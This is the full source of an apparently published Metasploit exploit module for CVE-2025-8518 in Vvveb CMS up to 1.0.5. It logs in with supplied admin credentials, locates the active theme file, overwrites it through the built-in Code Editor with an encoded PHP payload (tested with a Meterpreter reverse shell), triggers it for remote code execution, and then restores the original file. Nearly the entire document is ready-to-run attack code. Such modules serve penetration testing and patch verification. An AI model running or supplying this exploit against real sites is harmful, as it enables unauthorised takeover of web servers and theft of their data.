Vvveb CMS 1.0.5 Remote Code Execution

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Remote Code Execution Vulnerability in Vvveb', 'Description' => %q{ Vvveb CMS is vulnerable to code injection via the Code Editor functionality. Unsanitized editing functionality allows attacker-controlled changes to existing files on the web-accessible filesystem, allowing remote authenticated attackers with access to the Code Editor to achieve code execution when those modified files are executed or served by the application or web server. This vulnerability affects Vvveb CMS versions up to and including 1.0.5. Successful exploitation may result in the remote code execution under the privileges of the web server, potentially exposing sensitive data or disrupting survey operations. An attacker can execute arbitrary system commands in the context of the user running the web server. }, 'License' => MSF_LICENSE, 'Author' => [ 'Maksim Rogov', # Metasploit Module 'Hamed Kohi' # Vulnerability Discovery ], 'References' => [ ['CVE', '2025-8518'], ['URL', 'https://hkohi.ca/vulnerability/8'] ], 'Platform' => ['php'], 'Arch' => [ARCH_PHP], 'Targets' => [ [ 'PHP', { 'Platform' => ['php'], 'Arch' => ARCH_PHP # Tested with php/meterpreter/reverse_tcp } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2025-01-10', 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK], 'Reliability' => [REPEATABLE_SESSION] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'Path to Vvveb CMS', '/admin/']), OptString.new('USERNAME', [true, 'The username used to authenticate to Vvveb CMS', 'admin']), OptString.new('PASSWORD', [true, 'The password used to authenticate to Vvveb CMS', '']) ] ) end def get_csrf_token print_status('Fetching CSRF token...') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'method' => 'GET', 'keep_cookies' => true ) fail_with(Failure::Unreachable, "#{peer} - No response from web service") unless res fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP code #{res.code}") unless res.code == 200 html = res.get_html_document csrf_input = html.at('input[name="csrf"]') fail_with(Failure::UnexpectedReply, "#{peer} - Unable to extract CSRF token") unless csrf_input token = csrf_input.attributes.fetch('value', nil) fail_with(Failure::UnexpectedReply, "#{peer} - CSRF token is empty") if token.blank? print_good("Token successfully fetched: #{token}") token.to_s end def login(raise_on_fail: true) csrf_token = get_csrf_token print_status('Attempting login...') post_data = Rex::MIME::Message.new post_data.add_part(csrf_token, nil, nil, 'form-data; name="csrf"') post_data.add_part('', nil, nil, 'form-data; name="redir"') post_data.add_part(datastore['USERNAME'], nil, nil, 'form-data; name="user"') post_data.add_part(datastore['PASSWORD'], nil, nil, 'form-data; name="password"') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'method' => 'POST', 'keep_cookies' => true, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'vars_get' => { 'module' => 'user/login' }, 'data' => post_data.to_s ) if raise_on_fail fail_with(Failure::Unreachable, "#{peer} - No response from web service") unless res fail_with(Failure::NoAccess, "#{peer} - Incorrect credentials - #{datastore['USERNAME']}:#{datastore['PASSWORD']}") if res.body.include?('wrong email or password') fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP code #{res.code}") unless res.code == 302 else return CheckCode::Unknown('It was not possible to determine the software version because a network error occurred during the authentication process') unless res return CheckCode::Unknown("It was not possible to determine the software version because the provided credenaials #{datastore['USERNAME']}:#{datastore['PASSWORD']} are invalid") if res.body.include?('wrong email or password') return CheckCode::Unknown('It was not possible to determine the software version because an unknown network error code was returned during the authentication process') unless res.code == 302 end @logged_in = true print_good('Login successful') return end def get_active_theme_path print_status('Identifying the active theme path...') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'GET', 'vars_get' => { 'module' => 'theme/themes' } ) fail_with(Failure::Unreachable, "#{peer} - No response from web service") unless res fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP code #{res.code}") unless res.code == 200 active_theme = res.get_html_document.at('div.list-card.active') fail_with(Failure::UnexpectedReply, "#{peer} - Card with the active theme was not found") if active_theme.blank? theme_preview = active_theme.at('.card-img-top img').attributes.fetch('src', nil) fail_with(Failure::UnexpectedReply, "#{peer} - Preview of the active theme card was not found") if theme_preview.blank? theme_dir = File.dirname(theme_preview) theme_path = theme_dir + '/theme.php' print_good("Theme path successfully identified: #{theme_path}") theme_path end def get_theme_content(theme_path) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'GET', 'vars_get' => { 'module' => 'editor/code', 'action' => 'loadFile', 'type' => 'themes', 'file' => theme_path } ) fail_with(Failure::Unreachable, "#{peer} - No response from web service") unless res fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP code #{res.code}") unless res.code == 200 res.body end def set_theme_content(theme_path, content) post_data = Rex::MIME::Message.new post_data.add_part(content, nil, nil, 'form-data; name="content"') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'POST', 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'vars_get' => { 'module' => 'editor/code', 'action' => 'save', 'type' => 'themes', 'file' => theme_path }, 'data' => post_data.to_s ) fail_with(Failure::Unreachable, "#{peer} - No response from web service") unless res fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP code #{res.code}") if res.code != 200 end def trigger_payload(_theme_path) print_status('Triggering payload...') send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'GET', 'vars_get' => { 'module' => 'editor/editor', 'url' => '/', 'template' => 'index.html' } ) end def set_payload(theme_path) print_status('Setting up payload...') set_theme_content(theme_path, payload.encoded) print_good('Payload setup complete') end def check error_message = login(raise_on_fail: false) return error_message if error_message print_status('Checking version...') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'GET', 'vars_get' => { 'module' => 'tools/systeminfo' } ) return CheckCode::Detected('Authentication process completed successfully. It means that the server uses Vvveb CMS. However, it was not possible to determine the software version because a network error occurred during the request to the software version page') unless res return CheckCode::Detected("Authentication process completed successfully. It means that the server uses Vvveb CMS. However, it was not possible to determine the software version because the server returned an unknown status code #{res.code} during the request to the software version page") unless res.code == 200 version_td = res.get_html_document.at('tr:has(th:contains("Vvveb version")) td') return CheckCode::Detected('Authentication process and the request to the software version page both completed successfully. It means that the server uses Vvveb CMS. However, The Vvveb version tag was not found on the software version page') if version_td.nil? version = Rex::Version.new(version_td&.text&.strip) return CheckCode::Appears("Detected version #{version}, which is vulnerable") if version <= Rex::Version.new('1.0.5') CheckCode::Safe("Detected version #{version}, which is not vulnerable") end def cleanup begin set_theme_content(@theme_path, @default_theme_content) unless @theme_path.nil? && @default_theme_content.nil? rescue StandardError # After receiving the shell, when calling the set_theme_content, the server times out, but there is no need to return an error. end super end def exploit login(raise_on_fail: true) unless @logged_in @theme_path = get_active_theme_path @default_theme_content = get_theme_content(@theme_path) set_payload(@theme_path) trigger_payload(@theme_path) end end